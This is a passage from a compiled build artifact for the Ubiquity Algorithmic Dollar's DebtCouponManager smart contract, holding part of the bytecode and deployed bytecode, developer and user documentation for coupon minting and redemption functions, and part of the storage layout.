d5b505050506040513d601f19601f820116820180604052508101906128d49190612fea565b116129475760405162461bcd60e51b815260206004820152602860248201527f5468657265206172656e277420616e792075414420746f2072656465656d206360448201527f757272656e746c790000000000000000000000000000000000000000000000006064820152608401610393565b60405163738f0cf160e01b815233600482015260248101829052604481018a90526001600160a01b0386169063738f0cf190606401600060405180830381600087803b15801561299657600080fd5b505af11580156129aa573d6000803e3d6000fd5b505060405163a9059cbb60e01b8152336004820152602481018490526001600160a01b038716925063a9059cbb9150604401602060405180830381600087803b1580156129f657600080fd5b505af1158015612a0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a2e9190612fca565b50612a39818961309b565b9998505050505050505050565b600080546040805163520eeb7360e11b815290516001600160a01b03909216916391d1485491839163a41dd6e691600480820192602092909190829003018186803b158015612a9457600080fd5b505afa158015612aa8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612acc9190612fea565b6040516001600160e01b031960e084901b16815260048101919091526001600160a01b038a16602482015260440160206040518083038186803b158015612b1257600080fd5b505afa158015612b26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b4a9190612fca565b15612b7657507ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf97612b7a565b5060005b9695505050505050565b60008060009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015612bd357600080fd5b505afa158015612be7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c0b9190612e79565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612c4557600080fd5b505af1158015612c59573d6000803e3d6000fd5b5050505060008054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015612ca957600080fd5b505afa158015612cbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ce19190612e79565b6001600160a01b031663283583c660008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015612d3b57600080fd5b505afa158015612d4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d739190612e79565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b158015612db257600080fd5b505afa158015612dc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dea9190612fea565b905090565b60008083601f840112612e00578182fd5b50813567ffffffffffffffff811115612e17578182fd5b6020830191508360208260051b8501011115612e3257600080fd5b9250929050565b60008083601f840112612e4a578182fd5b50813567ffffffffffffffff811115612e61578182fd5b602083019150836020828501011115612e3257600080fd5b600060208284031215612e8a578081fd5b8151612061816130c8565b60008060008060008060008060a0898b031215612eb0578384fd5b8835612ebb816130c8565b97506020890135612ecb816130c8565b9650604089013567ffffffffffffffff80821115612ee7578586fd5b612ef38c838d01612def565b909850965060608b0135915080821115612f0b578586fd5b612f178c838d01612def565b909650945060808b0135915080821115612f2f578384fd5b50612f3c8b828c01612e39565b999c989b5096995094979396929594505050565b60008060008060008060a08789031215612f68578182fd5b8635612f73816130c8565b95506020870135612f83816130c8565b94506040870135935060608701359250608087013567ffffffffffffffff811115612fac578283fd5b612fb889828a01612e39565b979a9699509497509295939492505050565b600060208284031215612fdb578081fd5b81518015158114612061578182fd5b600060208284031215612ffb578081fd5b5051919050565b600060208284031215613013578081fd5b81356001600160e01b031981168114612061578182fd5b60006020828403121561303b578081fd5b5035919050565b60008060408385031215613054578182fd5b50508035926020909101359150565b60008219821115613076576130766130b2565b500190565b60008261309657634e487b7160e01b81526012600452602481fd5b500490565b6000828210156130ad576130ad6130b2565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146130dd57600080fd5b5056fea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b506004361061016c5760003560e01c8063816dbc4a116100cd578063bdd5d4b211610081578063cfc893fd11610066578063cfc893fd146102ee578063d6a9cf0814610301578063f23a6e61146103145761016c565b8063bdd5d4b2146102d2578063be30446d146102db5761016c565b806399c62889116100b257806399c6288914610277578063aac8e39a1461028a578063bc197c811461029d5761016c565b8063816dbc4a1461025b57806384800d651461026e5761016c565b80632565aa42116101245780634c5cac58116101095780634c5cac581461022c57806367a6847d146102355780636938c414146102485761016c565b80632565aa42146101f7578063481c6a75146102015761016c565b80630cb03046116101555780630cb03046146101c45780631adb4d32146101d75780631ce83f50146101ea5761016c565b806301ffc9a71461017157806302127499146101ad575b600080fd5b61019861017f366004613002565b6001600160e01b031981166301ffc9a760e01b14919050565b60405190151581526020015b60405180910390f35b6101b660055481565b6040519081526020016101a4565b6101b66101d236600461302a565b610327565b6101b66101e536600461302a565b6107bb565b6002546101989060ff1681565b6101ff610c1c565b005b600054610214906001600160a01b031681565b6040516001600160a01b0390911681526020016101a4565b6101b660035481565b6101b661024336600461302a565b6112e8565b6101b6610256366004613042565b6116e5565b6101ff61026936600461302a565b611ad1565b6101b660045481565b6101b6610285366004613042565b611c59565b6101b661029836600461302a565b611f5d565b6102b96102ab366004612e95565b600098975050505050505050565b6040516001600160e01b031990911681526020016101a4565b6101b660015481565b6101b66102e936600461302a565b612068565b6101ff6102fc36600461302a565b612115565b6101b661030f366004613042565b61229d565b6102b9610322366004612f50565b612a46565b600080610332612b84565b9050670de0b6b3a7640000811161039c5760405162461bcd60e51b8152602060048201526024808201527f5072696365206d7573742062652061626f7665203120746f206175746f2072656044820152636465656d60e01b60648201526084015b60405180910390fd5b60025460ff16156103b2576002805460ff191690555b60008060009054906101000a90046001600160a01b03166001600160a01b0316633ae3d9a46040518163ffffffff1660e01b815260040160206040518083038186803b15801561040157600080fd5b505afa158015610415573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104399190612e79565b6040516370a0823160e01b815233600482015290915084906001600160a01b038316906370a082319060240160206040518083038186803b15801561047d57600080fd5b505afa158015610491573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b59190612fea565b10156105295760405162461bcd60e51b815260206004820152603160248201527f5573657220646f65736e2774206861766520656e6f756768206175746f20726560448201527f6465656d20706f6f6c20746f6b656e732e0000000000000000000000000000006064820152608401610393565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561057857600080fd5b505afa15801561058c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b09190612e79565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a082319060240160206040518083038186803b1580156105f557600080fd5b505afa158015610609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062d9190612fea565b9050600081116106b95761063f610c1c565b6040516370a0823160e01b81523060048201526001600160a01b038316906370a082319060240160206040518083038186803b15801561067e57600080fd5b505afa158015610692573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b69190612fea565b90505b85818111156106c55750805b60405163079cc67960e41b8152336004820152602481018290526001600160a01b038516906379cc679090604401600060405180830381600087803b15801561070d57600080fd5b505af1158015610721573d6000803e3d6000fd5b505060405163a9059cbb60e01b8152336004820152602481018490526001600160a01b038616925063a9059cbb9150604401602060405180830381600087803b15801561076d57600080fd5b505af1158015610781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a59190612fca565b506107b0818861309b565b979650505050505050565b6000806107c6612b84565b9050670de0b6b3a764000081106108295760405162461bcd60e51b815260206004820152602160248201527f5072696365206d7573742062652062656c6f77203120746f206d696e742075416044820152602960f91b6064820152608401610393565b60008060009054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b15801561087857600080fd5b505afa15801561088c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b09190612e79565b9050806001600160a01b031663f7ffe84a6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156108ed57600080fd5b505af1158015610901573d6000803e3d6000fd5b505060025460ff16915061092a9050576002805460ff1916600190811790915543600355600090555b60008060009054906101000a90046001600160a01b03166001600160a01b031663749cface6040518163ffffffff1660e01b815260040160206040518083038186803b15801561097957600080fd5b505afa15801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b19190612e79565b600354604051633667d85960e01b81529192506000916001600160a01b03841691633667d859916109ef918a91600401918252602082015260400190565b60206040518083038186803b158015610a0757600080fd5b505afa158015610a1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3f9190612fea565b905060008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8d57600080fd5b505afa158015610aa1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac59190612e79565b60405163079cc67960e41b8152336004820152602481018890526001600160a01b0391909116906379cc679090604401600060405180830381600087803b158015610b0f57600080fd5b505af1158015610b23573d6000803e3d6000fd5b5050505060008060009054906101000a90046001600160a01b03166001600160a01b0316633ae3d9a46040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7657600080fd5b505afa158015610b8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bae9190612e79565b6040516340c10f1960e01b8152336004820152602481018490529091506001600160a01b038216906340c10f1990604401600060405180830381600087803b158015610bf957600080fd5b505af1158015610c0d573d6000803e3d6000fd5b50939998505050505050505050565b60008060009054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b158015610c6b57600080fd5b505afa158015610c7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca39190612e79565b9050806001600160a01b031663f7ffe84a6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610ce057600080fd5b505af1158015610cf4573d6000803e3d6000fd5b5050505060008060009054906101000a90046001600160a01b03166001600160a01b03166359f6deac6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d4757600080fd5b505afa158015610d5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7f9190612e79565b6001600160a01b031663764263cf6040518163ffffffff1660e01b815260040160206040518083038186803b158015610db757600080fd5b505afa158015610dcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610def9190612fea565b9050600060015482610e01919061309b565b90508160018190555060008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610e5957600080fd5b505afa158015610e6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e919190612e79565b6040516340c10f1960e01b8152306004820152602481018490529091506001600160a01b038216906340c10f1990604401600060405180830381600087803b158015610edc57600080fd5b505af1158015610ef0573d6000803e3d6000fd5b5050505060008060009054906101000a90046001600160a01b03166001600160a01b0316633ae3d9a46040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4357600080fd5b505afa158015610f57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7b9190612e79565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038416906370a082319060240160206040518083038186803b158015610fc057600080fd5b505afa158015610fd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff89190612fea565b90506000826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561103557600080fd5b505afa158015611049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106d9190612fea565b876001600160a01b031663db87b1ff6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a657600080fd5b505afa1580156110ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110de9190612fea565b6110e89190613063565b9050808211156112df5760006110fe828461309b565b60008054604051632bbdaf8f60e21b815230600482015292935090916001600160a01b039091169063aef6be3c9060240160206040518083038186803b15801561114757600080fd5b505afa15801561115b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117f9190612e79565b600054604051632bbdaf8f60e21b81523060048201529192506001600160a01b038881169263a9059cbb92919091169063aef6be3c9060240160206040518083038186803b1580156111d057600080fd5b505afa1580156111e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112089190612e79565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101859052604401602060405180830381600087803b15801561125057600080fd5b505af1158015611264573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112889190612fca565b50806001600160a01b031663651156bc6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112c457600080fd5b505af11580156112d8573d6000803e3d6000fd5b5050505050505b50505050505050565b6000806112f3612b84565b9050670de0b6b3a764000081106113725760405162461bcd60e51b815260206004820152602560248201527f5072696365206d7573742062652062656c6f77203120746f206d696e7420636f60448201527f75706f6e730000000000000000000000000000000000000000000000000000006064820152608401610393565b60008060009054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b1580156113c157600080fd5b505afa1580156113d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f99190612e79565b9050806001600160a01b031663f7ffe84a6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561143657600080fd5b505af115801561144a573d6000803e3d6000fd5b505060025460ff1691506114739050576002805460ff1916600190811790915543600355600090555b60008060009054906101000a90046001600160a01b03166001600160a01b0316633e916ced6040518163ffffffff1660e01b815260040160206040518083038186803b1580156114c257600080fd5b505afa1580156114d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fa9190612e79565b604051639172dd2360e01b8152600481018790529091506000906001600160a01b03831690639172dd239060240160206040518083038186803b15801561154057600080fd5b505afa158015611554573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115789190612fea565b905060008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156115c657600080fd5b505afa1580156115da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115fe9190612e79565b60405163079cc67960e41b8152336004820152602481018890526001600160a01b0391909116906379cc679090604401600060405180830381600087803b15801561164857600080fd5b505af115801561165c573d6000803e3d6000fd5b505050506000600454436116709190613063565b60405163e71fc58f60e01b815233600482015260248101849052604481018290529091506001600160a01b0385169063e71fc58f90606401600060405180830381600087803b1580156116c257600080fd5b505af11580156116d6573d6000803e3d6000fd5b50929998505050505050505050565b60008054604080516356593ea360e01b8152905183926001600160a01b0316916356593ea3916004808301926020929190829003018186803b15801561172a57600080fd5b505afa15801561173e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117629190612e79565b90504284116117b35760405162461bcd60e51b815260206004820152601260248201527f436f75706f6e20686173206578706972656400000000000000000000000000006044820152606401610393565b604051627eeac760e11b81523360048201526024810185905283906001600160a01b0383169062fdd58e9060440160206040518083038186803b1580156117f957600080fd5b505afa15801561180d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118319190612fea565b101561187f5760405162461bcd60e51b815260206004820152601760248201527f55736572206e6f7420656e6f75676820636f75706f6e730000000000000000006044820152606401610393565b60405163738f0cf160e01b815233600482015260248101849052604481018590526001600160a01b0382169063738f0cf190606401600060405180830381600087803b1580156118ce57600080fd5b505af11580156118e2573d6000803e3d6000fd5b5050505060008060009054906101000a90046001600160a01b03166001600160a01b0316633ae3d9a46040518163ffffffff1660e01b815260040160206040518083038186803b15801561193557600080fd5b505afa158015611949573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196d9190612e79565b6040516340c10f1960e01b8152306004820152602481018690529091506001600160a01b038216906340c10f1990604401600060405180830381600087803b1580156119b857600080fd5b505af11580156119cc573d6000803e3d6000fd5b505060405163a9059cbb60e01b8152336004820152602481018790526001600160a01b038416925063a9059cbb9150604401602060405180830381600087803b158015611a1857600080fd5b505af1158015611a2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a509190612fca565b506040516370a0823160e01b81523360048201526001600160a01b038216906370a082319060240160206040518083038186803b158015611a9057600080fd5b505afa158015611aa4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ac89190612fea565b95945050505050565b6000546040805163520eeb7360e11b815290516001600160a01b03909216916391d1485491839163a41dd6e691600480820192602092909190829003018186803b158015611b1e57600080fd5b505afa158015611b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b569190612fea565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015611b9357600080fd5b505afa158015611ba7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bcb9190612fca565b611c175760405162461bcd60e51b815260206004820152601e60248201527f43616c6c6572206973206e6f74206120636f75706f6e206d616e6167657200006044820152606401610393565b6004546040805183815260208101929092527f8d7edb0d3221793a3dbc5e9eb8bddfa027f936dcaac6116cc52319396a2026f9910160405180910390a1600455565b60008054604080516356593ea360e01b8152905183926001600160a01b0316916356593ea3916004808301926020929190829003018186803b158015611c9e57600080fd5b505afa158015611cb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cd69190612e79565b905043841115611d285760405162461bcd60e51b815260206004820152601660248201527f436f75706f6e20686173206e6f742065787069726564000000000000000000006044820152606401610393565b604051627eeac760e11b81523360048201526024810185905283906001600160a01b0383169062fdd58e9060440160206040518083038186803b158015611d6e57600080fd5b505afa158015611d82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da69190612fea565b1015611df45760405162461bcd60e51b815260206004820152601760248201527f55736572206e6f7420656e6f75676820636f75706f6e730000000000000000006044820152606401610393565b60405163738f0cf160e01b815233600482015260248101849052604481018590526001600160a01b0382169063738f0cf190606401600060405180830381600087803b158015611e4357600080fd5b505af1158015611e57573d6000803e3d6000fd5b5050505060008060009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015611eaa57600080fd5b505afa158015611ebe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee29190612e79565b905060055484611ef2919061307b565b6040516340c10f1960e01b8152336004820152602481018290529093506001600160a01b038216906340c10f1990604401600060405180830381600087803b158015611f3d57600080fd5b505af1158015611f51573d6000803e3d6000fd5b50505050505092915050565b6000805460408051633a4e7d6760e11b8152905183926001600160a01b03169163749cface916004808301926020929190829003018186803b158015611fa257600080fd5b505afa158015611fb6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fda9190612e79565b600354604051633667d85960e01b81526004810186905260248101919091529091506001600160a01b03821690633667d859906044015b60206040518083038186803b15801561202957600080fd5b505afa15801561203d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120619190612fea565b9392505050565b6000805460408051633e916ced60e01b8152905183926001600160a01b031691633e916ced916004808301926020929190829003018186803b1580156120ad57600080fd5b505afa1580156120c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120e59190612e79565b604051639172dd2360e01b8152600481018590529091506001600160a01b03821690639172dd2390602401612011565b6000546040805163520eeb7360e11b815290516001600160a01b03909216916391d1485491839163a41dd6e691600480820192602092909190829003018186803b15801561216257600080fd5b505afa158015612176573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061219a9190612fea565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156121d757600080fd5b505afa1580156121eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061220f9190612fca565b61225b5760405162461bcd60e51b815260206004820152601e60248201527f43616c6c6572206973206e6f74206120636f75706f6e206d616e6167657200006044820152606401610393565b6005546040805183815260208101929092527f6d4a1070b746d33746be28d0b5f40e4196cbd7ada8fcb77191f0a9209ae41a63910160405180910390a1600555565b6000806122a8612b84565b9050670de0b6b3a764000081116123275760405162461bcd60e51b815260206004820152602760248201527f5072696365206d7573742062652061626f7665203120746f2072656465656d2060448201527f636f75706f6e73000000000000000000000000000000000000000000000000006064820152608401610393565b60025460ff161561233d576002805460ff191690555b60008060009054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b15801561238c57600080fd5b505afa1580156123a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123c49190612e79565b90504385116124155760405162461bcd60e51b815260206004820152601260248201527f436f75706f6e20686173206578706972656400000000000000000000000000006044820152606401610393565b604051627eeac760e11b81523360048201526024810186905284906001600160a01b0383169062fdd58e9060440160206040518083038186803b15801561245b57600080fd5b505afa15801561246f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124939190612fea565b10156124e15760405162461bcd60e51b815260206004820152601760248201527f55736572206e6f7420656e6f75676820636f75706f6e730000000000000000006044820152606401610393565b6124e9610c1c565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561253857600080fd5b505afa15801561254c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125709190612e79565b905060008060009054906101000a90046001600160a01b03166001600160a01b0316633ae3d9a46040518163ffffffff1660e01b815260040160206040518083038186803b1580156125c157600080fd5b505afa1580156125d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125f99190612e79565b6040516370a0823160e01b81523060048201529091506001600160a01b038316906370a082319060240160206040518083038186803b15801561263b57600080fd5b505afa15801561264f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126739190612fea565b816001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156126ac57600080fd5b505afa1580156126c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126e49190612fea565b11156127585760405162461bcd60e51b815260206004820152602b60248201527f5468657265206172656e277420656e6f7567682075414420746f20726564656560448201527f6d2063757272656e746c790000000000000000000000000000000000000000006064820152608401610393565b6000816001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561279357600080fd5b505afa1580156127a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127cb9190612fea565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a082319060240160206040518083038186803b15801561280a57600080fd5b505afa15801561281e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128429190612fea565b61284c919061309b565b9050868181111561285a5750805b6040516370a0823160e01b81523060048201526000906001600160a01b038616906370a082319060240160206040518083038186803b15801561289c57600080fd5b505afa1580156128b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128d49190612fea565b116129475760405162461bcd60e51b815260206004820152602860248201527f5468657265206172656e277420616e792075414420746f2072656465656d206360448201527f757272656e746c790000000000000000000000000000000000000000000000006064820152608401610393565b60405163738f0cf160e01b815233600482015260248101829052604481018a90526001600160a01b0386169063738f0cf190606401600060405180830381600087803b15801561299657600080fd5b505af11580156129aa573d6000803e3d6000fd5b505060405163a9059cbb60e01b8152336004820152602481018490526001600160a01b038716925063a9059cbb9150604401602060405180830381600087803b1580156129f657600080fd5b505af1158015612a0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a2e9190612fca565b50612a39818961309b565b9998505050505050505050565b600080546040805163520eeb7360e11b815290516001600160a01b03909216916391d1485491839163a41dd6e691600480820192602092909190829003018186803b158015612a9457600080fd5b505afa158015612aa8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612acc9190612fea565b6040516001600160e01b031960e084901b16815260048101919091526001600160a01b038a16602482015260440160206040518083038186803b158015612b1257600080fd5b505afa158015612b26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b4a9190612fca565b15612b7657507ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf97612b7a565b5060005b9695505050505050565b60008060009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015612bd357600080fd5b505afa158015612be7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c0b9190612e79565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612c4557600080fd5b505af1158015612c59573d6000803e3d6000fd5b5050505060008054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015612ca957600080fd5b505afa158015612cbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ce19190612e79565b6001600160a01b031663283583c660008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015612d3b57600080fd5b505afa158015612d4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d739190612e79565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b158015612db257600080fd5b505afa158015612dc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dea9190612fea565b905090565b60008083601f840112612e00578182fd5b50813567ffffffffffffffff811115612e17578182fd5b6020830191508360208260051b8501011115612e3257600080fd5b9250929050565b60008083601f840112612e4a578182fd5b50813567ffffffffffffffff811115612e61578182fd5b602083019150836020828501011115612e3257600080fd5b600060208284031215612e8a578081fd5b8151612061816130c8565b60008060008060008060008060a0898b031215612eb0578384fd5b8835612ebb816130c8565b97506020890135612ecb816130c8565b9650604089013567ffffffffffffffff80821115612ee7578586fd5b612ef38c838d01612def565b909850965060608b0135915080821115612f0b578586fd5b612f178c838d01612def565b909650945060808b0135915080821115612f2f578384fd5b50612f3c8b828c01612e39565b999c989b5096995094979396929594505050565b60008060008060008060a08789031215612f68578182fd5b8635612f73816130c8565b95506020870135612f83816130c8565b94506040870135935060608701359250608087013567ffffffffffffffff811115612fac578283fd5b612fb889828a01612e39565b979a9699509497509295939492505050565b600060208284031215612fdb578081fd5b81518015158114612061578182fd5b600060208284031215612ffb578081fd5b5051919050565b600060208284031215613013578081fd5b81356001600160e01b031981168114612061578182fd5b60006020828403121561303b578081fd5b5035919050565b60008060408385031215613054578182fd5b50508035926020909101359150565b60008219821115613076576130766130b2565b500190565b60008261309657634e487b7160e01b81526012600452602481fd5b500490565b6000828210156130ad576130ad6130b2565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146130dd57600080fd5b5056fea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "burnAutoRedeemTokensForDollars(uint256)": { - "details": "Exchange auto redeem pool token for uAD tokens.", - "params": { - "amount": "Amount of uAR tokens to burn in exchange for uAD tokens." - }, - "returns": { - "_0": "amount of unredeemed uAR" - } - }, - "burnCouponsForAutoRedemption(uint256,uint256)": { - "details": "Lets debt holder burn coupons for auto redemption. Doesn't make TWAP > 1 check.", - "params": { - "amount": "the amount of coupons to redeem", - "id": "the timestamp of the coupon" - }, - "returns": { - "_0": "amount of auto redeem pool tokens (i.e. LP tokens) minted to debt holder" - } - }, - "burnExpiredCouponsForUGOV(uint256,uint256)": { - "details": "let debt holder burn expired coupons for UGOV. Doesn't make TWAP > 1 check.", - "params": { - "amount": "the amount of coupons to redeem", - "id": "the timestamp of the coupon" - }, - "returns": { - "uGovAmount": "amount of UGOV tokens minted to debt holder" - } - }, - "constructor": { - "params": { - "_couponLengthBlocks": "how many blocks coupons last. can't be changed once set (unless migrated)", - "_manager": "the address of the manager contract so we can fetch variables" - } - }, - "exchangeDollarsForDebtCoupons(uint256)": { - "details": "called when a user wants to burn UAD for debt coupon. should only be called when oracle is below a dollar", - "params": { - "amount": "the amount of dollars to exchange for coupons" - } - }, - "exchangeDollarsForUAR(uint256)": { - "details": "called when a user wants to burn UAD for uAR. should only be called when oracle is below a dollar", - "params": { - "amount": "the amount of dollars to exchange for uAR" - }, - "returns": { - "_0": "amount of auto redeem tokens minted" - } - }, - "getCouponsReturnedForDollars(uint256)": { - "details": "uses the current coupons for dollars calculation to get coupons for dollars", - "params": { - "amount": "the amount of dollars to exchange for coupons" - } - }, - "getUARReturnedForDollars(uint256)": { - "details": "uses the current uAR for dollars calculation to get uAR for dollars", - "params": { - "amount": "the amount of dollars to exchange for uAR" - } - }, - "onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)": { - "details": "this method is never called by the contract so if called, it was called by someone else -> revert." - }, - "onERC1155Received(address,address,uint256,uint256,bytes)": { - "details": "should be called by this contract only when getting coupons to be burnt" - }, - "redeemCoupons(uint256,uint256)": { - "params": { - "amount": "the amount of coupons to redeem", - "id": "the block number of the coupon" - }, - "returns": { - "_0": "amount of unredeemed coupons" - } - }, - "supportsInterface(bytes4)": { - "details": "See {IERC165-supportsInterface}." - } - }, - "title": "A basic debt issuing and redemption mechanism for coupon holders", - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": {}, - "notice": "Allows users to burn their uAD in exchange for coupons redeemable in the futureAllows users to redeem individual debt coupons or batch redeem coupons on a first-come first-serve basis", - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 6100, - "contract": "contracts/DebtCouponManager.sol:DebtCouponManager", - "label": "manager", - "offset": 0, - "slot": "0", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - }, - { - "astId": 6102, - "contract": "contracts/DebtCouponManager.sol:DebtCouponManager", - "label": "dollarsMintedThisCycle", - "offset": 0, - "slot": "1", - "type": "t_uint256" - }, - { - "astId": 6104, - "contract": "contracts/DebtCouponManager.sol:DebtCouponManager", - "label": "debtCycle", - "offset": 0, - "slot": "2", - "type": "t_bool" - }, - { - "astId": 6106, - "contract": "contracts/DebtCouponManager.sol:DebtCouponManager", - "label": "blockHeightDebt", - "offset": 0, - "slot": "3", - "type": "t_uint256" - }, - { - "astId": 6108, - "contract": "contracts/DebtCouponManager.sol:DebtCouponManager", - "label": "couponLengthBlocks", - "offset": 0, - "slot": "4", - "type": "t_uint256" - }, - { - "astId": 6111, - "contract": "contracts/DebtCouponManager.sol:DebtCouponManager", - "label": "expiredCouponConvertionRate", - "offset": 0, - "slot": "5", - "type": 